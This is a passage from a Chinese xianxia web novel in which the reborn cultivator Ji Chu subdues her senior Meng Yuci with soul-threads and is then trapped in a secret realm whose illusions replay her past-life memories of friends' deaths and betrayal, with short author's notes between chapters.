下一刻,她像是有些恼羞成怒似的,忽然抬手召出寻真剑,上前两步将剑身压在他颈上。 她眼里没有杀意,分明是执剑之人,却反倒像是被威胁一般无措: “如果我这样做呢?” “不止如此。” 她手腕一转,架在孟喻辞颈上的寻真剑便发生了变化。 剑身霎时间如千丝散开,房间中央的桌子瞬间被断成了无数块细小的碎屑。 “如果那天晚上,你在悬鹤峰阻拦我,我一样会对你动手。” 纪楚将剑恢复原状,再次架在他脖子上,又问了一遍: “师兄,你见到这样的我,见到悬鹤峰上的血,见到沈恪和薛晚凝的死状,又怎么可能继续相信我呢?” 孟喻辞的目光从寻真剑移到她的脸上。 她是那样笃定,只要将这些阴暗的心思、不磊落的术法摆出来,展露给他看,他就会变成不由分说厌弃她、甚至想要杀掉她的人。 ——她记忆里的那个人。 他看着纪楚,想要否决,却从她的语气和表情中看出来,她不相信他的否认,她心里早已经有了判决。 只要自己稍微迎合她的想法,哪怕只是一句话,一个表情,她就可以彻底放下心来,彻底将他放逐。 这是她第一次如此明确地描述自己“杀她”的情况。 他知道她一直纠结这个问题,已经不单单是出于对他的不信任,而是因为在她的印象中,自己就是一个会动手杀她的人。 甚至于,她开始试图逼他变成这样,变成她所习惯的、坚信的那个人。 那样她就可以正大光明地远离他,甚至记恨他,再也不用纠结自己的感情。 她在用这种方式逼他。 “为什么?” 孟喻辞开口: “如果你已经笃定我是那样的人,又为什么会来问我呢?” 他抬手,握住她执剑的手: “纪楚,你究竟是在期待,还是在害怕?” 被师兄握住的手一颤,纪楚下意识想要移开,却被牢牢抓住。 她被迫对上师兄的眼睛,听见他说: “如果你在害怕,大可以对我动手,我绝不反抗。” “但如果你在期待。” 他黑沉的眸子里一片冰冷: “我永远都不会变成你以为的那样。” 纪楚终于将手从他手中挣脱。 她握紧了剑柄,指着他: “你在逼我?” 孟喻辞摇头: “纪楚,是你在逼你自己。” “你不敢相信我,我不怪你。” “你想借助神骨找到末神,我也可以帮你。” “唯有一点。你不能拿自己的性命冒险。” 他踩着一地碎屑上前一步,纪楚的剑尖险些碰到他胸膛。 她不得不后退一步拉开距离: “我没有冒险,天璇秘境开启,众多修士涌入其中,倘若不及时动手,末神一定会蛊惑更多的人。” “趁着它现在还想对付我,师兄可以把我当诱饵,加上寻真剑,这是最好的机会。” 孟喻辞看着她,语调平静,淡淡反问: “如果我不同意呢?” 他本就带着点生人勿近的冷峻气质,如今这般模样,越发显得压迫感十足。 纪楚忍不住退后一步,硬着头皮道: “就算你不同意,我也一定会去。” 她又强调一遍,顺道给自己鼓劲: “你拦不住我。” 孟喻辞不语,黑沉沉的眸子望着她,又朝她走了一步,纪楚只得再次后退。 他本就长的极高,容貌更是盛极,不言不语时,黑眸沉似寒潭,肤色白似冷玉。 这样盯着纪楚时,精致的五官如同淬了冰,带来令人惊心动魄的侵略感。 纪楚心跳加速。 不知不觉间,她已经退到了床边,腿弯抵着木质的床沿。 一个不留神,竟然直接摔坐下去。 孟喻辞下意识伸手想要扶她。 失重倒下的一瞬间,纪楚看着师兄伸出的手,临时做出了一个大逆不道的决定。 她忽然用力抓住师兄的手,千丝傀影瞬间缠绕而上,而后借力起身,一个翻身,竟然将师兄按在了床上。 孟喻辞本能想要反击,动手的一瞬,又想到傀影丝是纪楚神魂所化。 倘若强行挣脱,恐怕会让她神魂受伤加重。 只这一迟疑的功夫,便被纪楚压在了身下。 “你要做什么?” 他声音冷极,虽然躺着,气势却凌厉非常,显得坐在他身上的纪楚心虚不已。 纪楚不敢看他的眼睛,也不敢吭声。 她近来总有种错觉,这些场景好像都发生过,却又都变得不一样。 以至于她某个瞬间会以为,前尘如梦,亦或者今生才是梦境。 手掌下按着的肌肉硬邦邦的,藏着蓄势待发的力量,将她游移的思绪拉了回来。 纪楚毫不怀疑,自己只要一松手,师兄立马就会反攻。 倒时她定然没有胜算,就再也别想去天璇秘境了。 有了前世对师兄出手的经验,她知道想要控制住一个玄境高阶修士,只靠几根傀影丝撑不了多久。 可她没有前世能忽然吓师兄一跳的魔气,又不能再把师兄气到忽然历劫…… 纪楚看了一眼师兄。 然后她咬咬牙,一狠心,忽然朝着师兄的脸凑了过去。 孟喻辞一惊,没想到她会忽然倒下来。 她整个人就像一只不怀好意的猫,圆咕噜嘟的眼珠子一转,不知道又想到了什么主意,竟然朝着他的脸凑了过来。 他一时间连呼吸都停了下来,薄唇微张,乌黑冷寂的眸子里满是意外。 他本该阻止她的。 但是他没有动,眼睁睁看着纪楚离他越来越近,直到两人几乎交叠着躺在床上。 隔着一小段距离,四目相对,她的呼吸轻飘飘的,双眼乌溜溜像黑葡萄,嘴唇因紧张而轻微抿着,十分专注地盯着他的脸,神情严肃,像是下定了好大的决心。 孟喻辞下意识动了动手指。 喉结上下一动。 面对死亡都不会有什么心里波动的人,此刻面对着纪楚的眼睛,竟然感觉无比紧张,一动不敢动,像是在等候什么宣判。 终于,纪楚闭上了眼睛,猛得朝他压了下来。 孟喻辞心里一跳,下一刻,额头传来难以忽视的痛感。 是纪楚以头做锤,重重往下一砸,随后与他额头贴着额头,神魂同时分成众多细小的丝线,顺着他识海探了过去。 她不敢靠太近,怕被师兄的神识攻击。 但或许是得益于空羽浮花的功效,又或者是她这一砸把师兄砸傻了。 他的识海并未排斥她,轻易叫她的傀影丝伸了过去。 这一点细微的接触对孟喻辞而言,如同有人用羽毛在他的心口不断轻挠,力道不大,却叫人难以忽视。 甚至因为这持续不断的干扰而生出更加难以忍受的冲动,整个人都在微微颤抖。 他应该将她的神魂驱逐出去。 但他的神识最终只停在原地,看着周围一点点被她的傀影丝围起来。 趴在他身上的纪楚浑然不觉,全身心投入在这次突袭中。 刚刚那一砸用力太大,她自己也有点晕乎乎的,但仍没忘记用傀影丝围住师兄识海,试图让他昏睡一段时间。 只是这个任务量实在太大,师兄的识海又实在太宽广太磅礴,那样强的剑气和灵力,一刻也不停地刮着她的傀影丝,她感觉自己像是风中凌乱的辛勤的蜘蛛精,没一会儿就织不动了。 神魂又累又麻,预估着差不多了。 她整个人彻底变成一只颓废无力的蜘蛛,从他身上软趴趴地滑了下去。 孟喻辞闭着眼睛,浑身僵硬紧绷着,看起来像是睡着了。 纪楚爬起来,盯着他看了一会儿,伸手将傀影丝加固了一下,确保一时半会儿解不开,这才放心出门。 临走时,又在门上设了几个禁制,防止被别人发现。 * 钟离白跟着罗盘绕到了一处客栈。 这里显然是富庶的大宗门才会住的地方,孟师兄在这儿,拂宇仙宗其他人可能也在这儿。 他没忘记纪楚并不想被其他人发现,于是没立马进去,而是躲在门口不远处观察。 好在没一会儿,就看见纪楚风一样飞快地“飘”了过去。 她脸上带着狼脸面具,走的太匆忙,甚至没看见钟离白。 “纪楚?” 钟离白叫她,她却跟没听见似的。 他于是赶紧小跑几步上前拉住她。 纪楚被他吓了一跳,见身后无人,这才松了口气,赶紧拽着他跑到一处安静的角落。 钟离白忍不住道: “你怎么了……是出什么事儿了吗?” 他一脸紧张: “孟师兄骂你了吗……” 纪楚下意识摇头,转头看向钟离白: “没有。师兄没有骂我,也没有打我,他还帮我疗伤了。” “疗伤?” 钟离白“哇”了一声: “我就知道,孟师兄一看就很担心你,应该不会对你动手,更不会杀你了!” “不会杀我吗?” 纪楚忍不住反驳: “可他前世就杀我了。我拿剑比着他,告诉他我真的特别糟糕,可他就是不肯承认他会杀我。” “难道前世今生,同一个人会有这么大的差别吗?” 她越想越烦,拉住钟离白胳膊: “你告诉我,前世,是不是师兄亲口说的,他会杀我。也是他用少微剑一剑捅死了我?” 钟离白抓耳挠腮: “是倒是……可是……” “哎呀!” 他一拍大腿: “纪楚,你听我说,这一世有很多事情都变了,对吧?” “而且是变好了,你看你救了许盈,还救了我,我们都好好活着,你和孟师兄也没有到拔剑相向的地步,这难道不是一件好事吗?” 纪楚闻言叹气: “你说的也对,很多事情都变了,而且变好了……可是师兄为什么会变这么多呢?” “他前世那么讨厌我,从来没在我面前笑过,可是这一次,他竟然说他喜欢我,说他永远不会杀我……” 钟离白猝不及防咳嗽起来: “你说什么?” “不能这样,不该是这样……” 她感觉头痛,却又想不好该是什么样。 这样不好吗? 难道前世那样拔剑相向,才是她觉得更好的结果吗? 她心里像是蒙着一层雾,所有的情感都变得浅淡,只剩下前世那个死在剑下的自己怒瞪着她,问她为什么能轻易忘记穿心之痛,轻易原谅师兄? 她到底该怎么办啊? 纪楚想不通,又因为刚刚那一撞有点头晕,于是捂着头,靠在墙上自言自语: “你说,我是不是太贪心了,一开始,我只是不想让师兄这辈子继续讨厌我;后来,我又总想跟着师兄练剑;再后来,我觉得师兄做饭好吃,人也好看,就想一直待在他身边……” 说着说着,她忽然又激动起来,一把揪住钟离白的衣领子: “都怪你!” 钟离白:“啊?” 他一脸茫然地附和: “你说的对,都怪我。” 纪楚点头: “当然怪你,你说,为什么阴阳转会把空羽浮花也带过来?简直打乱了我所有的计划!” “说真的,有时候我甚至在想,师兄为什么会变化如此之大,大到让我忍不住怀疑,前世那些事,是不是我在做梦啊!” 钟离白一脸茫然。 他还没来得及说什么,远处忽然传来一声巨响,随后便有一道刺眼的光自那个方向照了过来,似双日同辉,将整个沧州都包裹进去,甚至还有不断扩张的趋势。 纪楚下意识挡了下眼睛。 下一刻,她感觉随着那道光打在她身边,有什么东西薄而清脆的东西“砰”的一声撞了上来。 力道不重,但却如同薄膜一般将她整个人都包裹进去。 钟离白的声音被扭曲的空间拉长的有点变形: “这是……天璇秘境?!” 下一刻,身边的声音和人全都瞬间消失不见了—— 作者有话说:伪双修。 师兄:紧张不敢动jpg 纪楚:心无旁骛jpg 第87章 谁也没想到,等待多日的秘境入口竟会以这样一种猝不及防的方式忽然出现。 从天而降的光便是入口,在街道上的所有修士,不论是否打算进入秘境,悉数被吸了进去。 钟离白站定,发现周围已经变了样子,不再是沧州的街道,而是一处十分热闹的小镇。 场景温馨而熟悉,像是往日不羁道人还在时,经常拉着他在人界的镇子上摆摊算卦。 钟离白不由得朝前走了几步。 “你这家伙,抱着个罗盘像模像样,可是能继承为师衣钵,也当个江湖骗子了?” 背后忽然传来一道熟悉的声音。 “不羁道人”仍是他记忆中穿着简朴的样子,袖子上打着补丁,见他呆呆愣愣地转头,于是露出招牌的嫌弃表情,问道: “为师我交代给你的事儿,都办完了吗?那救世之人,你可寻到了?” “我……” 这对白实在太过自然,钟离白下意识就要回答。 但下一刻,他不禁打了个哆嗦,心道他师父早不知云游到什么地方去了,又怎么会出现在这儿呢? 更何况,他分明是被天璇秘境吸了进来,这里恐怕是根据他的记忆拼凑出来的幻象,所以才会如此真实自然。 钟离白于是闭了嘴,转身便走。 “不羁道人”却一把拉住他,五指僵硬犹如枯木: “你如今在卜算一途已小有所成,可能算出心中所想,结局如何?” 说着,他手指一点,钟离白手上的四方罗盘便忽然自己动了起来。 指针旋转几圈后,猝然停在了西方。 “什么?” 钟离白一惊,不止是因为西方所指乃是“九死一生”的凶卦,更是因为这个幻境中虚假的“不羁道人”,竟能越过他直接控制四方罗盘。 下一刻他又意识到,“不羁道人”能拨动罗盘,是因为在他的记忆里,罗盘本就是不羁道人的法器。 本质上,还是他在用修为卜卦。 这里的东西,到底还是与他的思维和记忆密不可分。 所以“不羁道人”说的话,也并非全然的谬论。 “不羁道人”摇摇头,道: “西方指灭,九死一生。你这卦,实在太凶。” “……” 钟离白沉默。 “不羁道人”继续说着: “一世斩魔,二世弑神,如今你却卜出一道凶卦,可见天命,终究还是难以预料啊……” 钟离白自然无法回答。 他低下头,重新用罗盘起卦,指针却还是朝向了西方。 他的手开始颤抖。 来沧州之前,他和纪楚在云舟上起过一卦,那时还是大吉大利的卦象,虽不是完全指东,却也在附近游移。 再早些时候,刚重生回来,那时的卦象也是指东,之后与纪楚一路合作,也从未有过如此凶象。 怎么如今,卦象忽然就变了呢? 甚至差距如此之大,如果不是天璇秘境里的幻象真的能干预四方罗盘,就是出了什么变数,直接影响了结果。 虽然希望一切都是假的,但钟离白非常清楚,幻象再假,也不可能影响四方罗盘的结果。 卦象大凶,说明此行危险,难以善终。 可是他们来到沧州以后,究竟发生了什么事情,会导致结果改变呢? 钟离白百思不得其解。 他左右找了一圈,目光锁定在一处烧饼摊上。 两步跑过去,抓出摆在桌 子上的三个铜板就开始起卦。 凶。 大凶。 还是凶。 …… 摊位老板看他一眼,继续叫卖烧饼,甚至连阻拦的念头都没有。 钟离白看着面前一次次重复的凶象,额头开始冒汗。 “不羁道人”揣着手走过来,一副老神在在的模样,瞥了一眼地上的卦象,嘲弄一笑,如看困兽争斗。 路上的叫卖声、小孩追逐的嬉笑声、父母的抱怨声、以及“不羁道人”的点评声混成一团,让他的手越发颤抖。 钟离白强迫自己忘掉这些嘈杂的声音干扰,伸手掐了个卦修才会用的法诀: “诸邪退避,明吾凡心,莫以虚假蔽之……” 念着念着,他的声音忽然一顿。 “虚假……虚假……” 他猛的睁开眼,手动将罗盘指针拨拉到正西的位置。 “生灭两分,无有别也。” “如果我是末神,算出纪楚二世弑神的预言后,我会什么都不做,就这样看着她重生后应天命吗?” “不,不会的。” 钟离白摇头,自问自答: “它一定会动手的,只是我没能发现……” “我怎么能没发现呢?” 他握拳想打自己,下一刻又拍拍自己头,自己安慰自己: “冷静点,钟离白,心静则眼明心澈,不为谎言虚假所蒙蔽。” 他抓着自己的头发,仔细回忆前世见到金色眼睛时的情况: “薛羡尘的状态不对,应该是被末神夺舍了……金色眼睛是末神,他想吞噬纪楚的神魂,结果被孟师兄一剑打断了……” “没有问题啊……” 钟离白头痛不已。 他前世只剩魂魄跟着纪楚,没有身体,所见所感皆是通过纪楚得来。 从纪楚的角度来看,这一切都没有问题,是孟师兄怀疑她入魔,阻拦不成,动手杀她。 等等…… 纪楚在进秘境前说了一句话。 她说孟师兄变化太大,让她觉得前世的一切都好像做梦一样。 如果…… 纪楚看到的不是真的呢? 钟离白感觉自己的呼吸都停了。 他们以前总觉得,自己是重生的,所以可以借着信息差提前防备末神动手。 可是如果末神已经动手了呢? 弑神是天命,神族灭亡也是天命……怎么才能让纪楚无法杀掉自己,规避天命? 总不会是…… 他猛地睁大了眼睛。 孟喻辞,孟师兄。 孟师兄是巫觋族人,亦算神族,岂不是也在弑神的“神”的范围里? 难道末神,他想找一个替死鬼,顺道将纪楚的天命一并消解?! 所以前世杀死纪楚的,究竟是不是孟喻辞本人,是不是少微剑?! …… 不行!他得告诉纪楚,他得…… 钟离白抬头,忽然发现四周的场景如水中倒影一般缓缓四散而开。 面前的“不羁道人”站在他面前,神色僵硬,开口却仍维持着生动的语气: “怎么样?天命难违,你们要输了。” 这句话不是“不羁道人”会说的话。 如果是他师父本人,现在应该说: “卜算者预知天命,并非是为了改命,而是为了顺势。” 钟离白回忆着师父的语气,冲着假的“不羁道人”说出这句话。 “你不是卦师,当然看不懂卦象,只知吉凶,却难算成败。 他话音落,“不羁道人”冷冷一笑,身形如水波纹一般散开,一转眼,竟成了无着尊者的样子。 双目赤金,阴森可怖。 黑雾朝他涌来,钟离白感觉自己的肢体忽然不受控制。 下一刻,那双赤金的眼睛中间倏的浮起一条竖线,让没有瞳孔的眼睛宛如蛇目,阴森可怖。 钟离白心口一痛。 前世被无着尊者剜心的场景重现。 疼痛和死亡的感觉竟如此真实,他几乎分不清真假,好像自己真的回到了前世,重新面临死亡的绝望和痛苦。 他恨不得重新再用一次阴阳转,好回到最开始,抢先一步告诉纪楚: 不要相信你的记忆。 不要被困在你的记忆里。 …… 可惜这世上,没有第二张阴阳转。 落子无悔,只能静待结果。 意识彻底涣散的前一刻,钟离白看到罗盘上转动的指针缓缓停下,最终定格在一个方向: “西北卦,听天由命,九死一生。” 不算好,但也不算特别坏。 天命总是危与机共存。 他们还没到一败涂地的地步。 他相信纪楚。 * 纪楚站在沧州的街道上。 这里还是俯世节会的样子,很多人都带着面具,欢欣鼓舞地在街上行走,像是不曾有天璇秘境的影响。 但她知道这里已经不是刚刚站的地方了。 身后跟着一个瘦瘦高高带兔子面具的,但走路动作太过死板,一看就是假人,却仍用着钟离白的声音喊她“纪楚”。 纪楚没回应,转头去找刚刚师兄在的客栈。 如果他也被吸进了天璇秘境,或许还会留在原地…… 但是没有。 没有客栈,也没有什么师兄,只有一条看起来漫长的永远也走不到头的街道。 所有人都自顾自地走着,好像看不见她这个突然出现的人似的。 背后传来脚步声,纪楚回头的一瞬间,迎面忽然出现一个人,冲过来的速度极快,穿着和她一样的装束,不避不让,径直从她身上撞了过去。 纪楚一惊,却没有被撞击的感觉,只有一阵风刮过她身侧。 她忙回头,发现那人的身影如水波纹一般散开后又重聚,最后竟然完全变成了她的模样! 随即,另一个穿着拂宇仙宗的弟子服、带着猫脸面具的人小跑过去,十分热络地唤她: “纪楚!你果然在这里里!” 是许盈的声音。 她揭开面具,上前一步,拉住“纪楚”的胳膊,硬邦邦的动作,像两截木头缠在一起: “纪楚,你被沈长老罚跪好多天不出现,我好担心你!” “许盈”一看便不是真人,动作僵硬,语气却故作欢愉,愣是拼凑出一副拙劣而诡异的场景。 纪楚走过去,伸手抓了一把“许盈”。 没有碰到,她自己的手却从对方身体里穿了过去。 被拉住的“纪楚”低着头没说话。 “许盈”便道: “纪楚,你不要走了好不好?我们都知道,这件事是沈长老冤枉了你。但是你也不是非得要离开宗门吧?” 她冲路边站着的人招了招手,那个和蒋成旭身形相似的人小跑过来。 “是啊,纪楚,我跟许盈都相信你的。” “我们去找掌门,让他做主,不要再让沈长老罚你了……” 假“纪楚”开口,声音和她一模一样: “掌门不会管的。” 纪楚于是想起来,这似乎是前世,她心情不好,想要偷偷下山,被许盈和蒋成旭拦住。 后来他们两人看劝不住,最终也没有再拦她。 如今她面前这三个人像是在演木偶戏似的,将前世的场景复现了一遍。 只是“木偶”动作实在僵硬,一点也不自然。 纪楚有些不明所以。 但她碰不到这几个人,只能站在旁边干看着。 按照她的回忆,接下来,应该是自己坚持不需要帮忙,许盈和蒋成旭治好无奈放她离开。 谁知她这念头刚一产生,那个“木偶纪楚”就忽然抬起头,手上顿时多出一柄长剑,一剑刺穿了身前的许盈。 纪楚一惊,下意识上去想扶许盈。 而这一次,她的手竟然碰到了许盈的身体。 潮湿的、温热的血流到她手上,随着心脏的挤压,很快将她的袖子染成红色。 许盈在她怀里颤抖,濒死的目光里全是不可思议。 “纪楚……你……为什么?” “不……不是这样……” 纪楚摇头。 她知道这里是幻境,但许盈死在她面前的冲击实在太大,她控制不住,召出寻真剑,一剑刺向面前的“ 木偶纪楚”。 “噗嗤”一声,长剑刺破心脏,“木偶纪楚”的身影散开,如风一般钻进了她的体内。 而她长剑刺穿的人,竟然变成了蒋成旭的脸。 “……” 蒋成旭跪地,吐出一口鲜血,不可思议地望向她。 然后他垂下头,僵硬地伸手,拼命拉住“许盈”的手,一如前世两人死状。 看着这一幕,纪楚感觉自己的大脑瞬间变得一片空白。 原本在周围来来往往的人,连同整个街道,忽然消失不见。 呼啸的风吹过纪楚耳畔,她惊觉自己已不在沧州的街道上,而在—— 悬鹤峰顶! 第88章 这是假的。 纪楚对自己说。 许盈和蒋成旭活的好好的,他们没有死,自己也从未伤害过他们。 这一幕,不过是天璇秘境根据她的记忆造出的幻象。 她不在拂宇仙宗,她在沧州,她在天璇秘境里。 纪楚放下“许盈”的尸体,站起身。 悬崖上的风吹动她的衣摆,血腥味如此真实,一低头,就能透过鲜血淋漓的五指看见许盈和蒋成旭的尸体。 她转开头,眼前却仍保留着那团鲜红,沾了血的布料沉重地贴在她皮肤上,触感是如此真实而鲜明,让人难以忽视。 和前世一样,巡逻的弟子赶来,张口便骂道: “纪楚!你竟敢勾结魔族,还杀了许盈和蒋成旭?!” 下一刻,那些弟子不由分说朝她冲了过来: “杀了她,给同门弟子报仇!” 纪楚抬剑: “别过来!” 对方仍围了过来,一出手便是杀招。 她知道这幻境大概率还是为杀她而来,故而不再退避,横剑一扫。 剑气却未碰到任何人。 她的攻击如同融化在水中的雪一样,连个痕迹都不曾留下。 而对方的武器却能直接碰到她。 一条长鞭自侧边甩来,擦着她的衣袖而过,若非躲避及时,定要受伤。 纪楚看了一眼袖子上的豁口,反手握住鞭身,将那弟子朝自己这边一拽,横剑在他身前划过。 依然划了个空。 她不可思议地看向手中剑,被她扯住那弟子抓住机会,猛得朝她肩上一拍,竟将她直接打下了悬崖。 失重感瞬间袭来。 冷风如同刀子一般刮着她的脸。 她想御剑,却发现自己竟然无法使出这样简单的术法。 “噗通”一声,她没有砸进悬鹤峰下的寒潭,而是摔到了一处山坡上。 纪楚爬起来,发现这里已经不是悬鹤峰了。 “救我!” 一声惊呼。 纪楚猛得回头,发现钟离白被人掐着脖子提到了半空。 他消瘦的脸颊因窒息而憋成了青红色,掐着他的人身体隐在雾气中,只露出一只苍白细瘦的手。 纪楚一惊,下意识就要上去救他。 然而她的手再次穿过了钟离白的身体。 掐着钟离白的那只手稍一用力,他便吐出一口鲜血,歪着头砸到了地上。 死不瞑目,双目圆睁,死死盯着她的方向,眼中满是愤恨。 假的…… 这不是钟离白。 意识到这一点后的纪楚忽然转过头。 雾气散去,她与一张与自己一模一样的脸对视。 纪楚果断出剑,一剑捅穿了假“纪楚”的腹部。 然而结果和方才一样,她的剑像是捅进了空气里,剑锋边缘产生涟漪一般的痕迹。 假“纪楚”分毫未伤,勾起嘴角,冲她露出个僵硬虚假的笑: “我用不了剑。” “我不是剑修。” 她指尖勾起丝线: “你忘了吗?我经脉堵塞,只能靠邪术自保。” “……” 纪楚拔出剑,后退一步: “我不是你。” 对面这个用着她脸的“纪楚”嘴巴一张一合,宛如木偶戏般僵硬古怪,吐出几个字: “是吗?” “可这不就是前世的你吗?” 话音落,她整个人散开化成一道雾气,朝着纪楚飘了过来,消失在她体内。 纪楚根本来不及阻止,只能眼睁睁看着假“纪楚”消失。 还不等她有所动作,身后又忽然冒出一股魔气,虎啸声伴随着着攻击骤然袭来。 她急忙转身,下意识抬剑去挡。 但一出剑,面对着魔气缠身大张着嘴朝她扑过来的老虎,纪楚又意识到不妙。 如果她的剑还是碰不到这里的东西,岂不是浪费了防守的机会,恐怕要被这只老虎撕下一块肉来。 这念头只一闪而过。 好在预想中的疼痛没有传来,剑刃感受到一股阻力,卡在了大张的虎口之中。 纪楚松了一口气。 这老虎显然是魔化的野兽,体型比普通兽类打的多,站起来比成年男子还要高。 虎目凶悍,前爪就在距离她几寸的地方,尖牙带血,与她隔着一柄剑角力。 好在寻真剑终于可以砍到实处了。 纪楚凝聚灵力,剑气划过,老虎被她甩了出去,砸在地上像座山一样发出“轰隆”的声响,连着翻滚了好几圈,才撞上一棵树停下。 下一刻,那老虎再度翻身而起,长啸一声,魔气顿时暴增,尖牙伸长,体型扩大,双目泛红,而后再度蓄力朝她扑来。 虽是魔化之物,但纪楚毕竟是个臻境修士,又有寻真剑在手,区区魔物还不至于要她的命。 她本想一剑解决了这只虎,谁知长剑刺出的同时,面前这只虎身上的魔气忽然散开,露出本来的样貌。 虎形褪去,剑尖指向的,分明是钟离白的脸! ——她猛得移开剑。 剑身刺进对方肩膀,声音沉闷,不见有血,像是戳进了硬邦邦的木头,带出一串木屑。 长着钟离白的脸的木偶落在地上,四肢以一种诡异的弧度扭曲着,五官却和钟离白一模一样,简直像是钟离白被她杀死、躺在她面前似的。 而原本那个被掐死的钟离白依然躺在原地。 两个和钟离白一模一样的人,一个面色绝望,一个目光凶狠,皆大睁双眼,死死盯着她。 纪楚本能感到恐惧。 还没等她缓过来,迷雾中又冲出来几只花纹相似的魔化老虎,身后拖着重重叠叠足以遮蔽天日的魔气,期间藏着众多看不清身形的魔物。 尖啸声一声叠着一声,以那几只老虎为首,魔物纷纷朝着她扑了过来。 纪楚持剑攻去。 剑身穿过魔物的身体,如刀劈木,嘟嘟做响,带出一串飞扬的木屑。 魔物砸在地上,变成一个拂宇仙宗弟子的模样。 肢体扭曲,剑痕处露出木质的内里。 同样死不瞑目,双眼盯着她的方向。 纪楚后退一步,感觉到自己经脉变窄,灵力减退,修为彻底被压制到了前世的模样。 这种感觉让她觉得无力,好像剑在手中,却依然力不从心,只能眼睁睁看着魔物越来越多,怎么都杀不完。 眼看两只魔物同时朝她扑来,纪楚重重挥剑劈开左侧的魔物,傀影丝自她身上钻出,瞬间将右侧那魔物捆住。 她闭眼,复又睁开,双目透出黑而诡谲的色彩,那魔物与她对视,魔气散开,逐渐变成一个人的形状。 似乎是广玄峰的弟子。 纪楚移开目光,转向下一个。 不是人,这些魔物都没有人的气息,只是套着人的壳子。 魔气被傀影丝缠绕、切割,身躯落在地上,变成一个人形的木偶。 她的神魂也因不断攻击魔物而染上了魔气。 可冲上来的魔物还是源源不绝,每一个魔物倒下后都会变成一张熟悉的脸,变成一双充满恨意的眼睛,好像她才是那个忽然入魔、动手杀人的叛徒。 神魂因反噬传来强烈的痛感。 某个瞬间,看见一地的尸体,她几乎以为自己从未经历过重生。 这里依然是前世,她是那个拿不起剑的废物,所有人都死了,一切已不可挽回…… 但同时她又记得,不是这样的,她重生了,大家都还活着,她也已经成了一个剑修…… 头痛和眩晕感的干扰下,纪楚不得不抬手捂住头,不断对自己重复: 这是假的,这些都是假的…… 魔物还在不停朝她扑来,大张着獠牙,想将她生吞活剥。 她像是条件反射一样,抬手,挥剑,砍下去…… …… 不知从什么时候开始,魔气变淡了,地上已全是“尸体”。 她甚至看见了好几个“许盈”、好几个“蒋成旭”,好几个“陈梧”和“钟离白”。 她握剑的手颤抖着,分不清是因为疲惫还是因为恐惧。 头好疼…… 她想坐下来,想搞清楚到底发生了什么。 但有个人却一刻也不停地对她喊道: “纪楚!快跑!” 是钟离白的声音…… 钟离白不是死了吗? 不,不对,钟离白还活着,他没有死。地上的这些,都是假的…… 假的…… 纪楚眨了眨眼,视野忽然充斥着一片血红之色。 那些肢体扭曲的木偶身上不知何时竟布满了鲜红的血,血水顺着他们的脸、四肢流到地上,汇聚在一起,连成一片刺眼的红。 不可能…… 这些都是魔物,都是木头变的,都是假的! 她揉了揉眼睛,眼前的血红又消失不见,恢复了一地僵硬的“木偶”。 但她却已经分不清眼睛看到的真假。 她蹲下,试探着伸出手,想要触碰离她最近的许盈。 指尖碰到了她的脸,柔软的,还保留着温热的触感。 她也感受到了鲜血的滚烫…… 纪楚整个人控制不住地颤抖起来,听见钟离白冲她喊: “纪楚!你还在发什么呆!拂宇仙宗的人要追上来了!” “你杀了那么多人!他们不会放过你的!我们必须跑! “我没有杀人!” 纪楚眼里涌上厌烦和仇恨,一下子从地上站起来,对着虚空喊道: “你撒谎!你到底是谁?” 钟离白声音一顿: “纪楚?你怎么了?我没有撒谎啊,你自己回头看看,地上那些人,不都是你亲手杀的吗?” 纪楚下意识回头。 血…… 好多血…… 满地的血…… 许盈就躺在中间,和蒋成旭挨在一起,鲜血顺着他们紧紧拉着的手往地上淌,河一样。 头好疼,经脉也疼,她浑身上下都是魔气。 一低头,她看见自己也是满身的血。 是她入魔了吗? 是她杀了人吗? ……她分不清了。 “纪楚!快跑啊!纪楚!” 她在“钟离白”的催促声中茫然地转头,朝着虚空迈出一步。 面前猝然出现好多人,有掌门,有沈恪,有徐长老谈长老,有明务堂的师兄师姐…… 他们看着她,眼里满是厌恶: “纪楚,你怎能勾结魔族?简直枉为仙门弟子!” “看看你浑身的魔气邪气,幸而经脉堵塞不能修仙,若是真教你成了剑修,岂非要挥剑杀害更多人?!” 我没有…… 我没有杀人…… 她张了张嘴,却发不出声音,甚至生出几分逃避之意。 她想离开这儿,回到那个一切都重新开始、没有人死亡、也没有人会用这样厌弃和失望的目光看着她的地方。 她不是已经改变了人生吗? 纪楚的目光忽然一顿。 前面的雾气中立着一道修长身影。 白衣如雪,墨发乌眸,清冷疏离,只是站在那里,就让人心生惧意。 “师兄?” 纪楚喃喃叫出这两个字。 她本能觉得自己应该过去,走到师兄面前,师兄答应过他会相信她。 但身上的血淅淅沥沥不断顺着衣服往下滴,像一座沉重的山,压的她走不动路,说不出话。 面前的师兄目光冷漠,盯着她的目光像在看一个陌生人。 她下意识抬手,摸了一下自己的脸。 没有伤疤,只摸到了满手的血——别人的血。 她心里忽然生出一股莫大的恐慌,好像一切都回到了最开始,她又变成了那个百口莫辩的宗门罪人,除了逃跑,再找不到其他出路。 下一刻,就见那双冷玉似的眸子里泛起寒意,抬手,一道剑气朝她攻来。 纪楚一惊,本能压过理智,抬手,一剑迎了上去。 下一刻,师兄身形忽的一僵,胸前的白衣上漫开一片红,竟被她一剑刺伤。 他面色难看,死死盯着她,一字一句道: “入魔叛宗,修炼邪术,罪无可恕。” “纪楚,我没有你这样的师妹!”—— 作者有话说:这里也是假的。 这个地方就是有真有假混在一起,以达到让女主混淆前世和今生的目的,属于精神攻击。 坚持“主角不会死,男主不会伤害女主”的立场就可以分清了[比心] 下一章这个情况就结束了[狗头叼玫瑰] 第89章 “我没有你这样的师妹。” 听到这句话的同时,纪楚忽然意识到,原来她一直害怕的,就是此刻。 她害怕自己如此弱小,如此无助,如此无能为力,只能眼睁睁看着在乎的人离开她、抛弃她。 哪怕潜意识里知道这一幕不对劲,但她的第一反应仍然是: 师兄果然不信她。 当这一幕幕摆在他面前时,他根本不会相信她! 这个世界上,根本不会有人相信她。 她被彻底抛弃了。 两辈子的记忆纠缠在一起,她分不清哪些是真实,哪些是虚假。 唯一能笃定的,就是她要去杀一个人。 是魔王,还是末神? 她已无路可走,只能最后拼死一搏。 这念头让纪楚在混乱和混沌中获得了片刻的清明。 她抬起头,透过这些拦在她面前的人,仿佛看到一双金色眼睛在迷雾中望着她。 那双眼睛里全是冰冷讥诮的审视,像是在嘲弄她的无知。 它躲在她的记忆背后,用她的记忆来攻击她,企图让她主动承认,她永远是前世那个弱小可怜无能为力的纪楚。 她杀不了它。 她真的杀不了它吗? 纪楚朝前迈出一步。 